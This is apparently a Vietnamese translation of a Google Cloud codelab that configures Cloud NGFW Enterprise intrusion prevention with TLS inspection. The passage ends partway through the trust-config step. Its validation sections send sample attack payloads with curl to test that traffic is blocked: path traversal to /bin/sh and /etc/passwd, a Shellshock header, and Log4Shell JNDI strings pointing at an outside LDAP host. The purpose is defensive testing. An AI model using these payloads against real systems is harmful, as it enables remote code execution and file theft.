Lớp học lập trình Cloud NGFW Enterprise [với việc kiểm tra TLS]

1. Giới thiệu

Bức tường lửa thế hệ mới trên đám mây (NGFW)

Tường lửa thế hệ mới trên đám mây là một dịch vụ tường lửa được phân phối hoàn toàn, có các tính năng bảo vệ nâng cao, phân đoạn vi mô và phạm vi bảo vệ rộng rãi để bảo vệ các khối lượng công việc trên Google Cloud khỏi các cuộc tấn công nội bộ và bên ngoài.

NGFW trên đám mây có các lợi ích sau:

  • Dịch vụ tường lửa phân tán: NGFW trên đám mây cung cấp tính năng thực thi dựa trên máy chủ, có trạng thái và được phân tán hoàn toàn trên mỗi khối lượng công việc để hỗ trợ kiến trúc bảo mật không tin cậy.
  • Đơn giản hoá việc định cấu hình và triển khai: Cloud NGFW triển khai các chính sách tường lửa phân cấp và mạng có thể được đính kèm vào nút hệ thống phân cấp tài nguyên. Các chính sách này mang lại trải nghiệm tường lửa nhất quán trên hệ thống phân cấp tài nguyên của Google Cloud.
  • Kiểm soát chi tiết và phân đoạn vi mô: Việc kết hợp các chính sách tường lửa và Thẻ do Quản lý danh tính và quyền truy cập (IAM) quản lý giúp kiểm soát chặt chẽ cả lưu lượng truy cập bắc-nam và đông-tây, cho đến từng máy ảo trên các mạng và tổ chức trong đám mây riêng ảo (VPC).

Cloud NGFW có các cấp sau:

  • Kiến thức cơ bản về Tường lửa thế hệ mới trên đám mây
  • Tiêu chuẩn tường lửa thế hệ mới trên đám mây
  • Tường lửa thế hệ mới trên đám mây dành cho doanh nghiệp

Cloud NGFW Enterprise

Cloud NGFW Enterprise bổ sung Dịch vụ ngăn chặn xâm nhập (IPS), một chức năng Lớp 7, vào cấu trúc Tường lửa Google Cloud được phân phối. Hoạt động kiểm tra TLS được hỗ trợ để cho phép kiểm tra lưu lượng truy cập được mã hoá TLS.

Giờ đây, bạn có thể triển khai các quy trình kiểm tra Tường lửa thế hệ mới (NGFW) Lớp 7 đáng tin cậy bằng các chế độ kiểm soát chi tiết mà không cần thay đổi cấu trúc mạng hoặc cấu hình định tuyến.

Để kích hoạt và triển khai tính năng kiểm soát tường lửa Lớp 7 bằng IPS, bạn cần thực hiện các thao tác sau:

  • Tạo một tập hợp các điểm cuối của tường lửa theo vùng do Google Cloud quản lý.
  • Bạn có thể tạo Chính sách kiểm tra TLS (không bắt buộc).
  • Tạo Cấu hình tin cậy (không bắt buộc).
  • Liên kết các điểm cuối này với mạng Đám mây riêng tư ảo (VPC) mà bạn cần dịch vụ Cloud NGFW Enterprise.
  • Thực hiện các thay đổi đơn giản đối với chính sách và quy tắc tường lửa hiện có để chỉ định hồ sơ ngăn chặn mối đe doạ cho nhiều đường dẫn lưu lượng truy cập.

Chính sách về tường lửa mạng

Chính sách tường lửa mạng đóng vai trò là vùng chứa cho các quy tắc tường lửa. Các quy tắc được xác định trong chính sách tường lửa mạng sẽ không được thực thi ở bất kỳ đâu cho đến khi chính sách được liên kết với một mạng VPC. Mỗi mạng VPC có thể liên kết với một chính sách tường lửa mạng. Chính sách tường lửa mạng hỗ trợ Thẻ do IAM quản lý (hoặc chỉ là Thẻ) trong các quy tắc tường lửa. Các thẻ này sẽ thay thế thẻ mạng hiện tại và có thể được dùng để cung cấp danh tính cho khối lượng công việc.

Việc chia sẻ chính sách tường lửa mạng trên các mạng và tích hợp với Thẻ do IAM quản lý giúp đơn giản hoá đáng kể việc định cấu hình và quản lý tường lửa.

Với việc ra mắt chính sách tường lửa mạng, chính sách tường lửa của Google Cloud hiện bao gồm các thành phần sau:

  1. Chính sách tường lửa phân cấp
  2. Quy tắc tường lửa VPC
  3. Chính sách tường lửa mạng ( Toàn cầuKhu vực)

Chính sách tường lửa có phân cấp được hỗ trợ ở các nút tổ chức và thư mục trong hệ thống phân cấp tài nguyên, trong khi quy tắc tường lửa VPC và chính sách tường lửa mạng được áp dụng ở cấp VPC. Một điểm khác biệt lớn giữa quy tắc tường lửa VPC và chính sách tường lửa mạng là quy tắc tường lửa VPC chỉ có thể áp dụng cho một mạng VPC, trong khi chính sách tường lửa mạng có thể được đính kèm vào một VPC hoặc nhóm VPC, cùng với các lợi ích khác như cập nhật hàng loạt.

Cuối cùng, chúng ta cũng có các quy tắc tường lửa ngầm ẩn đi kèm với mọi mạng VPC:

  • Quy tắc thoát có hành động là cho phép, đích đến là 0.0.0.0/0
  • Quy tắc truy cập có hành động là từ chối, nguồn là 0.0.0.0/0

Theo mặc định, trình tự thực thi được hiển thị trong sơ đồ sau:

21b3bcabc469ffe.png

Xin lưu ý rằng bạn có thể hoán đổi thứ tự thực thi giữa các quy tắc tường lửa VPC và chính sách tường lửa mạng toàn cầu. Khách hàng có thể chỉ định thứ tự thực thi bất cứ lúc nào bằng lệnh gcloud.

Thẻ từ khóa

Thẻ được tích hợp trong các quy tắc chính sách tường lửa mạng mới là các tài nguyên cặp khoá-giá trị được xác định ở cấp tổ chức hoặc cấp dự án của hệ phân cấp tài nguyên Google Cloud. Thẻ như vậy chứa các chế độ kiểm soát quyền truy cập IAM chỉ định người dùng nào có thể làm gì trên thẻ. Ví dụ: quyền Quản lý danh tính và quyền truy cập (IAM) cho phép người dùng chỉ định những chủ thể nào có thể chỉ định giá trị cho thẻ và những chủ thể nào có thể đính kèm thẻ vào tài nguyên. Nếu một quy tắc tường lửa mạng tham chiếu đến một Thẻ, thì quy tắc đó phải được áp dụng cho một tài nguyên để thực thi.

Thẻ tuân thủ mô hình tài nguyên kế thừa của Google Cloud, nghĩa là thẻ và giá trị của thẻ được truyền xuống theo hệ phân cấp từ thẻ mẹ. Do đó, bạn có thể tạo thẻ ở một nơi rồi các thư mục và dự án khác sẽ sử dụng thẻ đó trong hệ phân cấp tài nguyên. Truy cập trang này để biết thông tin chi tiết về thẻ và hạn chế truy cập.

Đừng nhầm lẫn thẻ với thẻ mạng. Mã nhận dạng này là các chuỗi có thể được thêm vào các phiên bản Compute Engine; các chuỗi này được liên kết với phiên bản và biến mất khi phiên bản ngừng hoạt động. Quy tắc tường lửa VPC có thể bao gồm thẻ mạng, nhưng vì không được coi là tài nguyên trên đám mây nên các thẻ này không phải tuân theo chế độ kiểm soát quyền truy cập IAM.

Xin lưu ý rằng Thẻ và Thẻ do IAM quản lý được sử dụng thay thế cho nhau trong tài liệu này.

Sản phẩm bạn sẽ tạo ra

Lớp học lập trình này yêu cầu một dự án và khả năng tạo mạng VPC cũng như quản lý một số tài nguyên bảo mật và mạng. Bài viết này sẽ minh hoạ cách Cloud NGFW Enterprise có thể cung cấp chức năng IPS bằng cách:

  • Kiểm tra luồng Internet từ bắc xuống bằng tính năng kiểm tra TLS
  • Kiểm tra luồng nội bộ vpc [Đông-Tây] bằng tính năng kiểm tra TLS

Các luồng cần kiểm tra sẽ được chọn bằng cách sử dụng các tham số so khớp của Tường lửa trên đám mây, bao gồm 5 bộ dữ liệu (địa chỉ IP nguồn, địa chỉ IP đích, giao thức, cổng nguồn, cổng đích) và Thẻ.

3d0f288d3b92a295.png

Trạng thái cuối cùng của cơ sở quy tắc chính sách tường lửa mạng sẽ tương tự như bảng dưới đây:

Mức độ ưu tiên

Hướng

Target

Nguồn

Đích đến

Hành động

Loại

100

Lưu lượng vào

Server_Tag

Kiểm tra tình trạng

Bất kỳ

Cho phép

Essentials

200

Lưu lượng vào

Client_Tag, Server_Tag

IAP

Bất kỳ

Cho phép

Essentials

800

Lưu lượng vào

Server_Tag

10.0.0.0/24

10.0.0.0/24

Kiểm tra L7

Doanh nghiệp

850

Lưu lượng ra

Client_Tag

Bất kỳ

10.0.0.0/24

Cho phép

Essentials

900

Lưu lượng ra

Client_Tag

Bất kỳ

Bất kỳ

Kiểm tra L7

Doanh nghiệp

Kiến thức bạn sẽ học được

  • Cách tạo chính sách tường lửa mạng.
  • Cách tạo và sử dụng Thẻ có chính sách tường lửa mạng.
  • Cách định cấu hình và sử dụng Cloud NGFW Enterprise có tính năng kiểm tra TLS.

Bạn cần có

  • Dự án trên Google Cloud.
  • Kiến thức về việc triển khai các thực thể và định cấu hình các thành phần kết nối mạng.
  • Kiến thức về cấu hình tường lửa VPC.

2. Trước khi bắt đầu

Tạo/cập nhật biến

Lớp học lập trình này sử dụng $variables để hỗ trợ triển khai cấu hình gcloud trong Cloud Shell.

Trong Cloud Shell, hãy chạy các lệnh bên dưới, thay thế thông tin trong dấu ngoặc đơn nếu cần:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. Bật API

Bật các API nếu bạn chưa thực hiện việc này:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Tạo điểm cuối doanh nghiệp cho NGFW trên đám mây

Vì quá trình tạo Điểm cuối doanh nghiệp của Cloud NGFW mất khoảng 20 phút, nên điểm cuối này sẽ được tạo trước và bạn có thể thiết lập cơ sở song song trong khi điểm cuối đang được tạo.

Tạo Hồ sơ bảo mật và Nhóm hồ sơ bảo mật:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

Kết quả đầu ra dự kiến:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.                                                                                                                                 

Xác nhận rằng bạn đã tạo thành công các tài nguyên:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Kết quả dự kiến (lưu ý rằng định dạng đầu ra có thể thay đổi tuỳ theo ứng dụng đang được sử dụng:

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

Tạo điểm cuối Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

Chạy lệnh bên dưới để xác nhận rằng điểm cuối đang được tạo (CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Kết quả dự kiến (lưu ý rằng định dạng đầu ra có thể thay đổi tuỳ theo ứng dụng đang được sử dụng):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

Bạn có thể chạy lệnh bên dưới để biết thêm thông tin chi tiết:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Kết quả đầu ra dự kiến:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

Quá trình tạo sẽ mất khoảng 20 phút. Tiếp tục chuyển đến phần Thiết lập cơ sở để tạo song song các tài nguyên cần thiết.

5. Thiết lập cơ sở

Mạng VPC và mạng con

Mạng và mạng con VPC

Tạo mạng VPC và mạng con:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Tạo Cloud Router và cổng Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Nhiều mảnh ghép

Tạo các thực thể máy khách và máy chủ web:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

Thẻ cấp dự án

Chỉ định quyền tagAdmin cho người dùng if cần:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

Tạo khoá và giá trị Thẻ ở cấp dự án:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

Liên kết các thẻ với các thực thể:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Chính sách về tường lửa mạng trên toàn cầu

Tạo chính sách tường lửa mạng toàn cục:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

Tạo các quy tắc bắt buộc của Cloud Firewall Essential để cho phép lưu lượng truy cập từ các dải kiểm tra tình trạngproxy nhận dạng:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

Tạo các quy tắc bắt buộc của Tường lửa trên đám mây để cho phép lưu lượng truy cập vào từ đông sang tây/trong mạng con từ các dải cụ thể (các quy tắc này sẽ được cập nhật để bật Cloud NGFW Enterprise có kiểm tra TLS):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Liên kết chính sách tường lửa trên đám mây với mạng VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Liên kết điểm cuối của Tường lửa trên đám mây

Xác định các biến môi trường trong trường hợp bạn chưa thực hiện và/hoặc muốn sử dụng phương pháp tập lệnh.

Xác nhận rằng bạn đã hoàn tất việc tạo Điểm cuối của tường lửa trên đám mây. Chỉ tiếp tục khi trạng thái hiển thị là ACTIVE (ĐANG HOẠT ĐỘNG) (trong quá trình tạo, trạng thái dự kiến là CREATING (ĐANG TẠO)):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Kết quả dự kiến (lưu ý rằng định dạng đầu ra có thể thay đổi tuỳ theo ứng dụng đang được sử dụng):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

Bạn có thể chạy lệnh bên dưới để biết thêm thông tin chi tiết:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Kết quả đầu ra dự kiến:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

Liên kết điểm cuối của Tường lửa trên đám mây với mạng VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

Quá trình liên kết sẽ mất khoảng 10 phút. Chỉ chuyển sang phần TLS khi trạng thái hiển thị là ACTIVE (ĐANG HOẠT ĐỘNG) (trong quá trình tạo, trạng thái dự kiến là CREATING (ĐANG TẠO)):

gcloud network-security firewall-endpoint-associations list

Kết quả đầu ra dự kiến khi hoàn tất:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

Bạn có thể chạy lệnh bên dưới để biết thêm thông tin chi tiết:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Kết quả đầu ra dự kiến:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. Định cấu hình tài nguyên TLS

Tạo nhóm CA. Tài nguyên này sẽ được dùng để lưu trữ chứng chỉ CA gốc mà chúng ta tạo cho NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

Tạo CA gốc. Đây là chứng chỉ CA sẽ được dùng để ký các chứng chỉ bổ sung cho các yêu cầu thông qua NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

Nếu bạn thấy thông báo bên dưới, hãy trả lời y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

Tạo tài khoản dịch vụ. Tài khoản dịch vụ này sẽ được dùng để yêu cầu chứng chỉ cho NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

Thiết lập quyền IAM cho tài khoản dịch vụ:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

Tạo tệp YAML về chính sách TLS. Tệp này sẽ chứa thông tin về các tài nguyên cụ thể:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

Nhập Chính sách kiểm tra TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Cập nhật mối liên kết điểm cuối để bật TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

Tải chứng chỉ CA và thêm chứng chỉ đó vào kho CA của ứng dụng:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

Chuyển chứng chỉ CA cho ứng dụng:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

SSH vào máy ảo, di chuyển chứng chỉ CA sang /usr/local/share/ca-certificates và cập nhật kho CA:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Thoát về cloudshell.

Quy trình ký chứng chỉ máy chủ:

Trên cloudshell, hãy cài đặt thư viện mã hoá Pyca bằng lệnh pip:

pip install --user "cryptography>=2.2.0"

Để cho phép Google Cloud SDK sử dụng thư viện mã hoá Pyca, bạn phải bật gói trang web.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

Tạo Chứng chỉ máy chủ:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem 

Thao tác này sẽ tạo tệp cert.pem và key.pem trong cloudshell. Tiếp theo, hãy chuyển chứng chỉ và khoá sang máy chủ.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

SSH vào máy chủ để cập nhật thông tin chi tiết về chứng chỉ cho Apache:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

Chuyển chứng chỉ và khoá vào thư mục cụ thể:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

Cập nhật cấu hình ssl để sử dụng chứng chỉ đã ký:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

Khởi động lại Apache:

sudo systemctl restart apache2

Xác minh trạng thái Apache:

sudo systemctl status apache2

Ứng dụng phải đang hoạt động (đang chạy).

Thoát máy ảo và tiếp tục trên cloudshell.

8. Xác thực kết nối Bắc và Đông/Tây

Chạy các lệnh bên dưới trong Cloud Shell và ghi lại các IP mục tiêu sẽ được sử dụng:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

Mở một thẻ mới và bắt đầu kết nối SSH với máy ảo ứng dụng thông qua IAP (bạn sẽ cần xác định các biến trong thẻ mới):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Chạy các lệnh bên dưới và ghi lại các IP mục tiêu sẽ được sử dụng. Tạo các biến thay thế các giá trị trong dấu ngoặc bằng địa chỉ IP đã ghi chú ở bước trước và đảm bảo rằng bạn có thể truy cập được các biến đó:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Curl IP riêng tư và đảm bảo bạn có thể truy cập vào IP đó:

curl https://$target_privateip --max-time 2

Kết quả dự kiến cho yêu cầu curl:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

Gửi các cuộc tấn công mẫu đến IP. Máy chủ web phải phản hồi tất cả các yêu cầu, xác nhận rằng không có biện pháp kiểm tra/ngăn chặn L7 nào được áp dụng:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2 

Mẫu kết quả dự kiến (IP riêng):

400
404
400
200
200

Tương tự, hãy gửi yêu cầu đến một đích đến trên Internet:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2 

Mẫu kết quả dự kiến (đích đến trên Internet):

400
404
400
403
403

Thoát khỏi thiết bị đầu cuối của máy ảo và quay lại màn hình shell trên đám mây.

9. Tạo và cập nhật quy tắc tường lửa để kiểm tra TLS

Trước đó, chúng ta đã định cấu hình một quy tắc tường lửa để cho phép lưu lượng truy cập vào máy chủ của chúng ta từ mạng con nội bộ. Bây giờ, chúng ta sẽ cập nhật các quy tắc truy cập hiện có và đặt hành động thành apply_security_profile_group. Thao tác này sẽ bật tính năng kiểm tra E/W L7 bằng TLS:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

Tạo một quy tắc mới để kiểm tra quy trình kiểm tra L7 hướng bắc bằng TLS.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

Tạo một quy tắc mới để cho phép EGRESS cho E/W nhằm ngăn chặn việc kiểm tra hai lần.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client 

10. Xác thực tính năng Kiểm tra TLS hướng bắc

Chuyển về thẻ máy ảo của ứng dụng hoặc kết nối lại:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Gửi các cuộc tấn công mẫu đến một đích đến trên Internet:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Không nhận được phản hồi nào theo kết quả dự kiến bên dưới, xác nhận rằng các cuộc tấn công mẫu hiện đang bị chặn:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Đặt biến thành địa chỉ IP của máy chủ trước đó:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Gửi yêu cầu TLS mẫu đến máy chủ:

curl https://$target_privateip --max-time 2

Kết quả đầu ra dự kiến:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Tại sao yêu cầu này không thành công? Nguyên nhân là do Tường lửa đang nhận được chứng chỉ từ máy chủ không đáng tin cậy. Nếu điều này xảy ra, máy chủ sẽ chuyển chứng chỉ tự ký lại cho ứng dụng khách. Chúng ta cần thêm chứng chỉ CA vào cấu hình tin cậy để bật tính năng tin cậy.

Quay lại Cloud Shell.

11. Định cấu hình Trust Config

Lấy chứng chỉ CA gốc và đặt chứng chỉ đó làm biến có định dạng thích hợp.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

